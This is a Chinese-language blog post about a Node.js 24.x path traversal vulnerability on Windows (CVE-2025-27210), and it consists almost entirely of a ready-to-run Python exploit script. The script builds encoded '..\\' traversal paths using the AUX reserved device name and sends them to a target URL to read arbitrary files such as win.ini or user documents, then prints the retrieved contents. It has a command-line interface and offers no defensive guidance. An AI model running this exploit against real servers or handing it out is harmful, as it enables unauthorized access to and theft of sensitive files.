NodeJS 24.x 路径遍历漏洞远程利用详解

本文详细分析了NodeJS 24.x版本中存在的路径遍历漏洞(CVE-2025-27210),提供了完整的Python利用脚本,展示了如何通过精心构造的恶意路径访问Windows系统上的敏感文件。

漏洞标题:NodeJS 24.x - 路径遍历

漏洞作者:Abdualhadi khalifa

CVE编号:CVE-2025-27210

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import argparse
import requests
import urllib.parse
import json
import sys

def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:
    """
    精确利用NodeJS路径遍历漏洞的函数
    :param target_url: 目标NodeJS应用URL
    :param target_file: 要读取的目标文件路径
    :param method: HTTP方法(GET/POST)
    :return: 包含攻击结果的字典
    """
    traverse_sequence = "..\\" * 6
    normalized_target_file = target_file.replace("C:", "").lstrip("\\/")
    malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}"
    encoded_malicious_path = urllib.parse.quote(malicious_path, safe='')
    full_url = f"{target_url}/{encoded_malicious_path}"

    response_data = {
        "target_url": target_url,
        "target_file_attempted": target_file,
        "malicious_path_sent_raw": malicious_path,
        "malicious_path_sent_encoded": encoded_malicious_path,
        "full_request_url": full_url,
        "http_method": method,
        "success": False,
        "response_status_code": None,
        "response_content_length": None,
        "extracted_content": None,
        "error_message": None
    }

    try:
        print(f"[*] 准备精确路径遍历攻击...")
        print(f"[*] 恶意路径(编码后): {encoded_malicious_path}")
        print(f"[*] 请求URL: {full_url}")

        if method.upper() == 'GET':
            response = requests.get(full_url, timeout=15)
        elif method.upper() == 'POST':
            response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15)
        else:
            raise ValueError("不支持的HTTP方法,请使用'GET'或'POST'")

        response_data["response_status_code"] = response.status_code
        response_data["response_content_length"] = len(response.content)

        if response.status_code == 200:
            content = response.text
            response_data["extracted_content"] = content
            if target_file.lower().endswith("win.ini") and "[windows]" in content.lower():
                response_data["success"] = True
            elif len(content) > 0:  # 对于其他文件,只要内容非空就认为成功
                response_data["success"] = True
            else:
                response_data["error_message"] = "收到200响应,但内容为空或不符合预期"
        else:
            response_data["error_message"] = f"服务器返回非200状态码: {response.status_code}"

    except requests.exceptions.Timeout:
        response_data["error_message"] = "请求超时,服务器可能响应缓慢或无响应"
    except requests.exceptions.ConnectionError:
        response_data["error_message"] = "连接目标失败,请确保NodeJS应用正在运行并可访问"
    except ValueError as ve:
        response_data["error_message"] = str(ve)
    except Exception as e:
        response_data["error_message"] = f"发生意外错误: {str(e)}"

    return response_data

def main():
    parser = argparse.ArgumentParser(
        prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py",
        description="""
        Node.js Windows路径遍历漏洞(CVE-2025-27210)的概念验证(PoC)脚本。
        此脚本利用了Node.js函数(如path.normalize()或path.join())
        在处理Windows保留设备文件名(如CON, AUX)时的路径遍历序列处理不当问题。
        """,
        formatter_class=argparse.RawTextHelpFormatter
    )
    parser.add_argument(
        "-t", "--target",
        type=str,
        required=True,
        help="易受攻击的Node.js应用的基础URL(例如: http://localhost:3000/files)"
    )
    parser.add_argument(
        "-f", "--file",
        type=str,
        default="C:\\Windows\\win.ini",
        help="""Windows系统上目标文件的绝对路径。
示例: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx
        """
    )
    parser.add_argument(
        "-m", "--method",
        type=str,
        choices=["GET", "POST"],
        default="GET",
        help="请求的HTTP方法('GET'或'POST')"
    )

    args = parser.parse_args()

    # --- CLI输出格式 ---
    print("\n" + "="*70)
    print("      CVE-2025-27210 Node.js路径遍历漏洞利用PoC")
    print("="*70)
    print(f"[*] 目标URL: {args.target}")
    print(f"[*] 目标文件: {args.file}")
    print(f"[*] HTTP方法: {args.method}")
    print("-"*70 + "\n")

    result = exploit_path_traversal_precise(args.target, args.file, args.method)

    print("\n" + "-"*70)
    print("                   攻击结果")
    print("-"*70)
    print(f"  请求URL: {result['full_request_url']}")
    print(f"  发送的恶意路径(原始): {result['malicious_path_sent_raw']}")
    print(f"  发送的恶意路径(编码): {result['malicious_path_sent_encoded']}")
    print(f"  响应状态码: {result['response_status_code']}")
    print(f"  响应内容长度: {result['response_content_length']} 字节")

    if result["success"]:
        print("\n  [+] 文件成功获取! 内容如下:")
        print("  " + "="*66)
        print(result["extracted_content"])
        print("  " + "="*66)
    else:
        print("\n  [-] 文件获取失败或收到意外内容")
        if result["error_message"]:
            print(f"  错误: {result['error_message']}")
        elif result["extracted_content"]:
            print("\n  响应内容(部分,可能表示服务器错误或意外数据):")
            print("  " + "-"*66)
            # 如果内容过长且不成功则截断
            print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"])
            print("  " + "-"*66)

    print("\n" + "="*70)
    print("                 完成")
    print("="*70 + "\n")

if __name__ == "__main__":
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计